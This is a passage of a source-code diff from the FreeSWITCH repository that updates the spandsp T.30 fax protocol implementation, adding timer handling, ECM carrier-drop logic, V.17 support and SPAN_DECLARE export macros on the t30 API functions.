+    case TIMER_IS_T4C:
+        tag = "T4C";
+        break;
+    default:
+        tag = "T2/T4";
+        break;
+    }
+    span_log(&s->logging, SPAN_LOG_FLOW, "Stop %s (%d remaining)\n", tag, s->timer_t2_t4);
+    s->timer_t2_t4 = 0;
+    s->timer_t2_t4_is = TIMER_IS_IDLE;
+}
+/*- End of function --------------------------------------------------------*/
+
 static void timer_t0_expired(t30_state_t *s)
 {
     span_log(&s->logging, SPAN_LOG_FLOW, "T0 expired in state %d\n", s->state);
@@ -4675,7 +4832,8 @@
 
 static void timer_t2_expired(t30_state_t *s)
 {
-    span_log(&s->logging, SPAN_LOG_FLOW, "T2 expired in phase %s, state %d\n", phase_names[s->phase], s->state);
+    if (s->timer_t2_t4_is != TIMER_IS_T2B)
+        span_log(&s->logging, SPAN_LOG_FLOW, "T2 expired in phase %s, state %d\n", phase_names[s->phase], s->state);
     switch (s->state)
     {
     case T30_STATE_III_Q_MCF:
@@ -4741,6 +4899,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void timer_t1a_expired(t30_state_t *s)
+{
+    span_log(&s->logging, SPAN_LOG_FLOW, "T1A expired in phase %s, state %d. An HDLC frame lasted too long.\n", phase_names[s->phase], s->state);
+    s->current_status = T30_ERR_HDLC_CARRIER;
+    disconnect(s);
+}
+/*- End of function --------------------------------------------------------*/
+
 static void timer_t2a_expired(t30_state_t *s)
 {
     span_log(&s->logging, SPAN_LOG_FLOW, "T2A expired in phase %s, state %d. An HDLC frame lasted too long.\n", phase_names[s->phase], s->state);
@@ -4872,30 +5038,27 @@
     int was_trained;
 
     s = (t30_state_t *) user_data;
+    span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM signal status is %s (%d) in state %d\n", signal_status_to_str(status), status, s->state);
     switch (status)
     {
     case SIG_STATUS_TRAINING_IN_PROGRESS:
         break;
     case SIG_STATUS_TRAINING_FAILED:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier training failed in state %d\n", s->state);
         s->rx_trained = FALSE;
         break;
     case SIG_STATUS_TRAINING_SUCCEEDED:
         /* The modem is now trained */
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier trained in state %d\n", s->state);
         /* In case we are in trainability test mode... */
         s->tcf_test_bits = 0;
         s->tcf_current_zeros = 0;
         s->tcf_most_zeros = 0;
         s->rx_signal_present = TRUE;
         s->rx_trained = TRUE;
-        s->timer_t2_t4 = 0;
+        timer_t2_t4_stop(s);
         break;
     case SIG_STATUS_CARRIER_UP:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier up in state %d\n", s->state);
         break;
     case SIG_STATUS_CARRIER_DOWN:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier down in state %d\n", s->state);
         was_trained = s->rx_trained;
         s->rx_signal_present = FALSE;
         s->rx_trained = FALSE;
@@ -4973,7 +5136,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_non_ecm_put_bit(void *user_data, int bit)
+SPAN_DECLARE_NONSTD(void) t30_non_ecm_put_bit(void *user_data, int bit)
 {
     t30_state_t *s;
 
@@ -5013,7 +5176,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_non_ecm_put_byte(void *user_data, int byte)
+SPAN_DECLARE(void) t30_non_ecm_put_byte(void *user_data, int byte)
 {
     t30_state_t *s;
 
@@ -5037,7 +5200,7 @@
         break;
     case T30_STATE_F_DOC_NON_ECM:
         /* Document transfer */
-        if (t4_rx_put_byte(&s->t4, byte))
+        if (t4_rx_put_byte(&s->t4, (uint8_t) byte))
         {
             /* That is the end of the document */
             set_state(s, T30_STATE_F_POST_DOC_NON_ECM);
@@ -5049,7 +5212,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len)
+SPAN_DECLARE(void) t30_non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len)
 {
     t30_state_t *s;
     int i;
@@ -5089,7 +5252,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_non_ecm_get_bit(void *user_data)
+SPAN_DECLARE_NONSTD(int) t30_non_ecm_get_bit(void *user_data)
 {
     int bit;
     t30_state_t *s;
@@ -5124,7 +5287,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_non_ecm_get_byte(void *user_data)
+SPAN_DECLARE(int) t30_non_ecm_get_byte(void *user_data)
 {
     int byte;
     t30_state_t *s;
@@ -5159,7 +5322,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_non_ecm_get_chunk(void *user_data, uint8_t buf[], int max_len)
+SPAN_DECLARE(int) t30_non_ecm_get_chunk(void *user_data, uint8_t buf[], int max_len)
 {
     int len;
     t30_state_t *s;
@@ -5197,55 +5360,77 @@
 static void t30_hdlc_rx_status(void *user_data, int status)
 {
     t30_state_t *s;
+    int was_trained;
 
     s = (t30_state_t *) user_data;
+    span_log(&s->logging, SPAN_LOG_FLOW, "HDLC signal status is %s (%d) in state %d\n", signal_status_to_str(status), status, s->state);
     switch (status)
     {
     case SIG_STATUS_TRAINING_IN_PROGRESS:
         break;
     case SIG_STATUS_TRAINING_FAILED:
-        span_log(&s->logging, SPAN_LOG_FLOW, "HDLC carrier training failed in state %d\n", s->state);
         s->rx_trained = FALSE;
         break;
     case SIG_STATUS_TRAINING_SUCCEEDED:
         /* The modem is now trained */
-        span_log(&s->logging, SPAN_LOG_FLOW, "HDLC carrier trained in state %d\n", s->state);
         s->rx_signal_present = TRUE;
         s->rx_trained = TRUE;
         break;
     case SIG_STATUS_CARRIER_UP:
-        span_log(&s->logging, SPAN_LOG_FLOW, "HDLC carrier up in state %d\n", s->state);
         s->rx_signal_present = TRUE;
         switch (s->timer_t2_t4_is)
         {
         case TIMER_IS_T2B:
+            timer_t2_t4_stop(s);
             s->timer_t2_t4_is = TIMER_IS_T2C;
-            s->timer_t2_t4 = 0;
             break;
         case TIMER_IS_T4B:
+            timer_t2_t4_stop(s);
             s->timer_t2_t4_is = TIMER_IS_T4C;
-            s->timer_t2_t4 = 0;
             break;
         }
         break;
     case SIG_STATUS_CARRIER_DOWN:
-        span_log(&s->logging, SPAN_LOG_FLOW, "HDLC carrier down in state %d\n", s->state);
+        was_trained = s->rx_trained;
         s->rx_signal_present = FALSE;
         s->rx_trained = FALSE;
         /* If a phase change has been queued to occur after the receive signal drops,
            its time to change. */
+        if (s->state == T30_STATE_F_DOC_ECM)
+        {
+            /* We should be receiving a document right now, but we haven't seen an RCP at the end of
+               transmission. */
+            if (was_trained)
+            {
+                /* We trained OK, so we should have some kind of received page, possibly with
+                   zero good HDLC frames. It just did'nt end cleanly with an RCP. */
+                span_log(&s->logging, SPAN_LOG_WARNING, "ECM signal did not end cleanly\n");
+                /* Fake the existance of an RCP, and proceed */
+                set_state(s, T30_STATE_F_POST_DOC_ECM);
+                queue_phase(s, T30_PHASE_D_RX);
+                timer_t2_start(s);
+                /* We at least trained, so any missing carrier status is out of date */
+                if (s->current_status == T30_ERR_RX_NOCARRIER)
+                    s->current_status = T30_ERR_OK;
+            }
+            else
+            {
+                /* Either there was no image carrier, or we failed to train to it. */
+                span_log(&s->logging, SPAN_LOG_WARNING, "ECM carrier not found\n");
+                s->current_status = T30_ERR_RX_NOCARRIER;
+            }
+        }
         if (s->next_phase != T30_PHASE_IDLE)
         {
-            s->timer_t2_t4 = 0;
+            /* The appropriate timer for the next phase should already be in progress */
             set_phase(s, s->next_phase);
-            if (s->next_phase == T30_PHASE_C_NON_ECM_RX)
-                timer_t2_start(s);
             s->next_phase = T30_PHASE_IDLE;
         }
         else
         {
             switch (s->timer_t2_t4_is)
             {
+            case TIMER_IS_T1A:
             case TIMER_IS_T2A:
             case TIMER_IS_T2C:
                 timer_t2b_start(s);
@@ -5258,7 +5443,6 @@
         }
         break;
     case SIG_STATUS_FRAMING_OK:
-        span_log(&s->logging, SPAN_LOG_FLOW, "HDLC framing OK in state %d\n", s->state);
         if (!s->far_end_detected  &&  s->timer_t0_t1 > 0)
         {
             s->timer_t0_t1 = ms_to_samples(DEFAULT_TIMER_T1);
@@ -5272,6 +5456,7 @@
         {
             switch(s->timer_t2_t4_is)
             {
+            case TIMER_IS_T1A:
             case TIMER_IS_T2:
             case TIMER_IS_T2A:
                 timer_t2a_start(s);
@@ -5293,7 +5478,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_hdlc_accept(void *user_data, const uint8_t *msg, int len, int ok)
+SPAN_DECLARE_NONSTD(void) t30_hdlc_accept(void *user_data, const uint8_t *msg, int len, int ok)
 {
     t30_state_t *s;
 
@@ -5314,18 +5499,28 @@
        The 2.55s maximum seems to limit signalling frames to no more than 95 octets,
        including FCS, and flag octets (assuming the use of V.21).
     */
-    if (!ok  &&  s->phase != T30_PHASE_C_ECM_RX)
+    if (!ok)
     {
-        span_log(&s->logging, SPAN_LOG_FLOW, "Bad CRC received\n");
-        /* We either force a resend, or we wait until a resend occurs through a timeout. */
-        if ((s->supported_t30_features & T30_SUPPORT_COMMAND_REPEAT))
+        span_log(&s->logging, SPAN_LOG_FLOW, "Bad HDLC CRC received\n");
+        if (s->phase != T30_PHASE_C_ECM_RX)
         {
-            s->step = 0;
-            if (s->phase == T30_PHASE_B_RX)
-                queue_phase(s, T30_PHASE_B_TX);
+            /* We either force a resend, or we wait until a resend occurs through a timeout. */
+            if ((s->supported_t30_features & T30_SUPPORT_COMMAND_REPEAT))
+            {
+                s->step = 0;
+                if (s->phase == T30_PHASE_B_RX)
+                    queue_phase(s, T30_PHASE_B_TX);
+                else
+                    queue_phase(s, T30_PHASE_D_TX);
+                send_simple_frame(s, T30_CRP);
+            }
             else
-                queue_phase(s, T30_PHASE_D_TX);
-            send_simple_frame(s, T30_CRP);
+            {
+                /* Cancel the command or response timer (if one is running) */
+                span_log(&s->logging, SPAN_LOG_FLOW, "Bad CRC and timer is %d\n", s->timer_t2_t4_is);
+                if (s->timer_t2_t4_is == TIMER_IS_T2A)
+                    timer_t2_t4_stop(s);
+            }
         }
         return;
     }
@@ -5333,21 +5528,27 @@
     if (len < 3)
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Bad HDLC frame length - %d\n", len);
+        /* Cancel the command or response timer (if one is running) */
+        timer_t2_t4_stop(s);
         return;
     }
-    if (msg[0] != 0xFF  ||  !(msg[1] == 0x03  ||  msg[1] == 0x13))
+    if (msg[0] != ADDRESS_FIELD
+        ||
+        !(msg[1] == CONTROL_FIELD_NON_FINAL_FRAME  ||  msg[1] == CONTROL_FIELD_FINAL_FRAME))
     {
         span_log(&s->logging, SPAN_LOG_FLOW, "Bad HDLC frame header - %02x %02x\n", msg[0], msg[1]);
+        /* Cancel the command or response timer (if one is running) */
+        timer_t2_t4_stop(s);
         return;
     }
     s->rx_frame_received = TRUE;
-    /* Cancel the command or response timer */
-    s->timer_t2_t4 = 0;
+    /* Cancel the command or response timer (if one is running) */
+    timer_t2_t4_stop(s);
     process_rx_control_msg(s, msg, len);
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_front_end_status(void *user_data, int status)
+SPAN_DECLARE(void) t30_front_end_status(void *user_data, int status)
 {
     t30_state_t *s;
     
@@ -5507,7 +5708,7 @@
             }
             else
             {
-                /* We just sent the disconnect message. Now it is time to disconnect */
+                /* We just sent the disconnect message. Now it is time to disconnect. */
                 disconnect(s);
             }
             break;
@@ -5642,7 +5843,7 @@
             /* Cancel any receive timeout, and declare that a receive signal is present,
                since the front end is explicitly telling us we have seen something. */
             s->rx_signal_present = TRUE;
-            s->timer_t2_t4 = 0;
+            timer_t2_t4_stop(s);
             break;
         }
         break;
@@ -5650,11 +5851,19 @@
         span_log(&s->logging, SPAN_LOG_FLOW, "No signal is present\n");
         /* TODO: Should we do anything here? */
         break;
+    case T30_FRONT_END_CED_PRESENT:
+        span_log(&s->logging, SPAN_LOG_FLOW, "CED tone is present\n");
+        /* TODO: Should we do anything here? */
+        break;
+    case T30_FRONT_END_CNG_PRESENT:
+        span_log(&s->logging, SPAN_LOG_FLOW, "CNG tone is present\n");
+        /* TODO: Should we do anything here? */
+        break;
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_timer_update(t30_state_t *s, int samples)
+SPAN_DECLARE(void) t30_timer_update(t30_state_t *s, int samples)
 {
     if (s->timer_t0_t1 > 0)
     {
@@ -5677,6 +5886,9 @@
         {
             switch (s->timer_t2_t4_is)
             {
+            case TIMER_IS_T1A:
+                timer_t1a_expired(s);
+                break;
             case TIMER_IS_T2:
                 timer_t2_expired(s);
                 break;
@@ -5706,7 +5918,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_terminate(t30_state_t *s)
+SPAN_DECLARE(void) t30_terminate(t30_state_t *s)
 {
     if (s->phase != T30_PHASE_CALL_FINISHED)
     {
@@ -5736,14 +5948,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_get_transfer_statistics(t30_state_t *s, t30_stats_t *t)
+SPAN_DECLARE(void) t30_get_transfer_statistics(t30_state_t *s, t30_stats_t *t)
 {
     t4_stats_t stats;
 
     t->bit_rate = fallback_sequence[s->current_fallback].bit_rate;
     t->error_correcting_mode = s->error_correcting_mode;
+    t->error_correcting_mode_retries = s->error_correcting_mode_retries;
     t4_get_transfer_statistics(&s->t4, &stats);
-    t->pages_transferred = stats.pages_transferred;
+    t->pages_tx = s->ecm_tx_page;
+    t->pages_rx = s->ecm_rx_page;
     t->pages_in_file = stats.pages_in_file;
     t->width = stats.width;
     t->length = stats.length;
@@ -5757,7 +5971,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_local_interrupt_request(t30_state_t *s, int state)
+SPAN_DECLARE(void) t30_local_interrupt_request(t30_state_t *s, int state)
 {
     if (s->timer_t3 > 0)
     {
@@ -5769,7 +5983,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_restart(t30_state_t *s)
+SPAN_DECLARE(int) t30_restart(t30_state_t *s)
 {
     s->phase = T30_PHASE_IDLE;
     s->next_phase = T30_PHASE_IDLE;
@@ -5784,6 +5998,13 @@
     s->far_dis_dtc_len = 0;
     memset(&s->far_dis_dtc_frame, 0, sizeof(s->far_dis_dtc_frame));
     t30_build_dis_or_dtc(s);
+    memset(&s->rx_info, 0, sizeof(s->rx_info));
+    release_resources(s);
+    /* The ECM page number is only reset at call establishment */
+    s->ecm_rx_page = 0;
+    s->ecm_tx_page = 0;
+    s->far_end_detected = FALSE;
+    s->timer_t0_t1 = ms_to_samples(DEFAULT_TIMER_T0);
     if (s->calling_party)
     {
         set_state(s, T30_STATE_T);
@@ -5794,24 +6015,18 @@
         set_state(s, T30_STATE_ANSWERING);
         set_phase(s, T30_PHASE_A_CED);
     }
-    memset(&s->rx_info, 0, sizeof(s->rx_info));
-    s->far_end_detected = FALSE;
-    s->timer_t0_t1 = ms_to_samples(DEFAULT_TIMER_T0);
-    release_resources(s);
-    s->ecm_rx_page = -1;
-    s->ecm_tx_page = -1;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-t30_state_t *t30_init(t30_state_t *s,
-                      int calling_party,
-                      t30_set_handler_t *set_rx_type_handler,
-                      void *set_rx_type_user_data,
-                      t30_set_handler_t *set_tx_type_handler,
-                      void *set_tx_type_user_data,
-                      t30_send_hdlc_handler_t *send_hdlc_handler,
-                      void *send_hdlc_user_data)
+SPAN_DECLARE(t30_state_t *) t30_init(t30_state_t *s,
+                                     int calling_party,
+                                     t30_set_handler_t *set_rx_type_handler,
+                                     void *set_rx_type_user_data,
+                                     t30_set_handler_t *set_tx_type_handler,
+                                     void *set_tx_type_user_data,
+                                     t30_send_hdlc_handler_t *send_hdlc_handler,
+                                     void *send_hdlc_user_data)
 {
     if (s == NULL)
     {
@@ -5828,7 +6043,7 @@
     s->send_hdlc_user_data = send_hdlc_user_data;
 
     /* Default to the basic modems. */
-    s->supported_modems = T30_SUPPORT_V27TER | T30_SUPPORT_V29;
+    s->supported_modems = T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17;
     s->supported_compressions = T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION;
     s->supported_resolutions = T30_SUPPORT_STANDARD_RESOLUTION | T30_SUPPORT_FINE_RESOLUTION | T30_SUPPORT_SUPERFINE_RESOLUTION
                              | T30_SUPPORT_R8_RESOLUTION;
@@ -5845,17 +6060,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_release(t30_state_t *s)
+SPAN_DECLARE(int) t30_release(t30_state_t *s)
 {
     /* Make sure any FAX in progress is tidied up. If the tidying up has
        already happened, repeating it here is harmless. */
     switch (s->operation_in_progress)
     {
     case OPERATION_IN_PROGRESS_T4_TX:
-        t4_tx_end(&(s->t4));
+        t4_tx_release(&(s->t4));
         break;
     case OPERATION_IN_PROGRESS_T4_RX:
-        t4_rx_end(&(s->t4));
+        t4_rx_release(&(s->t4));
         break;
     }
     s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
@@ -5863,11 +6078,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_free(t30_state_t *s)
+SPAN_DECLARE(int) t30_free(t30_state_t *s)
 {
     t30_release(s);
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t30_call_active(t30_state_t *s)
+{
+    return (s->phase != T30_PHASE_CALL_FINISHED);
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/t30_api.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t30_api.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t30_api.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30_api.c,v 1.8 2008/08/14 14:06:05 steveu Exp $
+ * $Id: t30_api.c,v 1.13 2009/02/03 16:28:40 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -37,13 +37,13 @@
 #include <string.h>
 #include <fcntl.h>
 #include <time.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <tiffio.h>
 
 #include "spandsp/telephony.h"
@@ -67,9 +67,13 @@
 #include "spandsp/t30_api.h"
 #include "spandsp/t30_logging.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+
 #include "t30_local.h"
 
-int t30_set_tx_ident(t30_state_t *s, const char *id)
+SPAN_DECLARE(int) t30_set_tx_ident(t30_state_t *s, const char *id)
 {
     if (id == NULL)
     {
@@ -84,7 +88,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_ident(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_ident(t30_state_t *s)
 {
     if (s->tx_info.ident[0] == '\0')
         return NULL;
@@ -92,7 +96,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_ident(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_ident(t30_state_t *s)
 {
     if (s->rx_info.ident[0] == '\0')
         return NULL;
@@ -100,7 +104,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_sub_address(t30_state_t *s, const char *sub_address)
+SPAN_DECLARE(int) t30_set_tx_sub_address(t30_state_t *s, const char *sub_address)
 {
     if (sub_address == NULL)
     {
@@ -114,7 +118,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_sub_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_sub_address(t30_state_t *s)
 {
     if (s->tx_info.sub_address[0] == '\0')
         return NULL;
@@ -122,7 +126,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_sub_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_sub_address(t30_state_t *s)
 {
     if (s->rx_info.sub_address[0] == '\0')
         return NULL;
@@ -130,7 +134,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_selective_polling_address(t30_state_t *s, const char *selective_polling_address)
+SPAN_DECLARE(int) t30_set_tx_selective_polling_address(t30_state_t *s, const char *selective_polling_address)
 {
     if (selective_polling_address == NULL)
     {
@@ -144,7 +148,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_selective_polling_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_selective_polling_address(t30_state_t *s)
 {
     if (s->tx_info.selective_polling_address[0] == '\0')
         return NULL;
@@ -152,7 +156,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_selective_polling_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_selective_polling_address(t30_state_t *s)
 {
     if (s->rx_info.selective_polling_address[0] == '\0')
         return NULL;
@@ -160,7 +164,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_polled_sub_address(t30_state_t *s, const char *polled_sub_address)
+SPAN_DECLARE(int) t30_set_tx_polled_sub_address(t30_state_t *s, const char *polled_sub_address)
 {
     if (polled_sub_address == NULL)
     {
@@ -174,7 +178,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_polled_sub_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_polled_sub_address(t30_state_t *s)
 {
     if (s->tx_info.polled_sub_address[0] == '\0')
         return NULL;
@@ -182,7 +186,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_polled_sub_address(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_polled_sub_address(t30_state_t *s)
 {
     if (s->rx_info.polled_sub_address[0] == '\0')
         return NULL;
@@ -190,7 +194,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_sender_ident(t30_state_t *s, const char *sender_ident)
+SPAN_DECLARE(int) t30_set_tx_sender_ident(t30_state_t *s, const char *sender_ident)
 {
     if (sender_ident == NULL)
     {
@@ -204,7 +208,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_sender_ident(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_sender_ident(t30_state_t *s)
 {
     if (s->tx_info.sender_ident[0] == '\0')
         return NULL;
@@ -212,7 +216,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_sender_ident(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_sender_ident(t30_state_t *s)
 {
     if (s->rx_info.sender_ident[0] == '\0')
         return NULL;
@@ -220,7 +224,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_password(t30_state_t *s, const char *password)
+SPAN_DECLARE(int) t30_set_tx_password(t30_state_t *s, const char *password)
 {
     if (password == NULL)
     {
@@ -234,7 +238,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_tx_password(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_tx_password(t30_state_t *s)
 {
     if (s->tx_info.password[0] == '\0')
         return NULL;
@@ -242,7 +246,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_password(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_password(t30_state_t *s)
 {
     if (s->rx_info.password[0] == '\0')
         return NULL;
@@ -250,7 +254,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_nsf(t30_state_t *s, const uint8_t *nsf, int len)
+SPAN_DECLARE(int) t30_set_tx_nsf(t30_state_t *s, const uint8_t *nsf, int len)
 {
     if (s->tx_info.nsf)
         free(s->tx_info.nsf);
@@ -268,7 +272,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_nsf(t30_state_t *s, const uint8_t *nsf[])
+SPAN_DECLARE(size_t) t30_get_tx_nsf(t30_state_t *s, const uint8_t *nsf[])
 {
     if (nsf)
         *nsf = s->tx_info.nsf;
@@ -276,7 +280,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_nsf(t30_state_t *s, const uint8_t *nsf[])
+SPAN_DECLARE(size_t) t30_get_rx_nsf(t30_state_t *s, const uint8_t *nsf[])
 {
     if (nsf)
         *nsf = s->rx_info.nsf;
@@ -284,7 +288,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_nsc(t30_state_t *s, const uint8_t *nsc, int len)
+SPAN_DECLARE(int) t30_set_tx_nsc(t30_state_t *s, const uint8_t *nsc, int len)
 {
     if (s->tx_info.nsc)
         free(s->tx_info.nsc);
@@ -302,7 +306,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_nsc(t30_state_t *s, const uint8_t *nsc[])
+SPAN_DECLARE(size_t) t30_get_tx_nsc(t30_state_t *s, const uint8_t *nsc[])
 {
     if (nsc)
         *nsc = s->tx_info.nsc;
@@ -310,7 +314,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_nsc(t30_state_t *s, const uint8_t *nsc[])
+SPAN_DECLARE(size_t) t30_get_rx_nsc(t30_state_t *s, const uint8_t *nsc[])
 {
     if (nsc)
         *nsc = s->rx_info.nsc;
@@ -318,7 +322,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_nss(t30_state_t *s, const uint8_t *nss, int len)
+SPAN_DECLARE(int) t30_set_tx_nss(t30_state_t *s, const uint8_t *nss, int len)
 {
     if (s->tx_info.nss)
         free(s->tx_info.nss);
@@ -336,7 +340,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_nss(t30_state_t *s, const uint8_t *nss[])
+SPAN_DECLARE(size_t) t30_get_tx_nss(t30_state_t *s, const uint8_t *nss[])
 {
     if (nss)
         *nss = s->tx_info.nss;
@@ -344,7 +348,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_nss(t30_state_t *s, const uint8_t *nss[])
+SPAN_DECLARE(size_t) t30_get_rx_nss(t30_state_t *s, const uint8_t *nss[])
 {
     if (nss)
         *nss = s->rx_info.nss;
@@ -352,7 +356,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_tsa(t30_state_t *s, int type, const char *address, int len)
+SPAN_DECLARE(int) t30_set_tx_tsa(t30_state_t *s, int type, const char *address, int len)
 {
     if (s->tx_info.tsa)
         free(s->tx_info.tsa);
@@ -374,7 +378,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_tsa(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_tx_tsa(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->tx_info.tsa_type;
@@ -384,7 +388,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_tsa(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_rx_tsa(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->rx_info.tsa_type;
@@ -394,7 +398,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_ira(t30_state_t *s, int type, const char *address, int len)
+SPAN_DECLARE(int) t30_set_tx_ira(t30_state_t *s, int type, const char *address, int len)
 {
     if (s->tx_info.ira)
         free(s->tx_info.ira);
@@ -408,7 +412,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_ira(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_tx_ira(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->tx_info.ira_type;
@@ -418,7 +422,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_ira(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_rx_ira(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->rx_info.ira_type;
@@ -428,7 +432,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_cia(t30_state_t *s, int type, const char *address, int len)
+SPAN_DECLARE(int) t30_set_tx_cia(t30_state_t *s, int type, const char *address, int len)
 {
     if (s->tx_info.cia)
         free(s->tx_info.cia);
@@ -442,7 +446,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_cia(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_tx_cia(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->tx_info.cia_type;
@@ -452,7 +456,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_cia(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_rx_cia(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->rx_info.cia_type;
@@ -462,7 +466,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_isp(t30_state_t *s, int type, const char *address, int len)
+SPAN_DECLARE(int) t30_set_tx_isp(t30_state_t *s, int type, const char *address, int len)
 {
     if (s->tx_info.isp)
         free(s->tx_info.isp);
@@ -476,7 +480,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
